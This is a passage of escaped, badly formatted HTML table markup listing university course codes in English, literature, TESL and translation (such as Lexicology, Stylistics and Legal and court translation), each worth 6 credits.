margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 309</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English Composition</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 315</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>English through movies</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 316</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Advanced English Vocabulary</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:10.75pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 322</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Lexicology</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 325</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Communicative English</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 326</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>British Studies</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 326</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>American Studies</em></p></td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 331</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>W. Shakespeare then and now</em></p></td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 335</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:20.65pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Academic Writing</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:20.65pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 413</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:3.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Proverbs Interpretation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:3.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 415</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>British Literature 1</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 415</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>American literature</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 416</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>British Literature 2</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 417</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>World Literature</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 418</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>World English</em></p></td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL 419</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>Creative Writing</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em><em></em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 420</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Literary studies</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 503</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>American Authors</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL 608</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Phonetics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL\r\n  609</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Stylistics</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>ENGL\r\n  702</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Literary\r\n  Translation and Editing</em><em></em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>LIT 507</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Literary critique</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TESL 303</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Introduction to TESL</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 309</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Written Translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 310</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Theory of translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 315</em></p></td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Legal and court translation</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>TRN 335</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Medical Translation</em></p>\r\n  </td>\r\n  <td style=\"\" 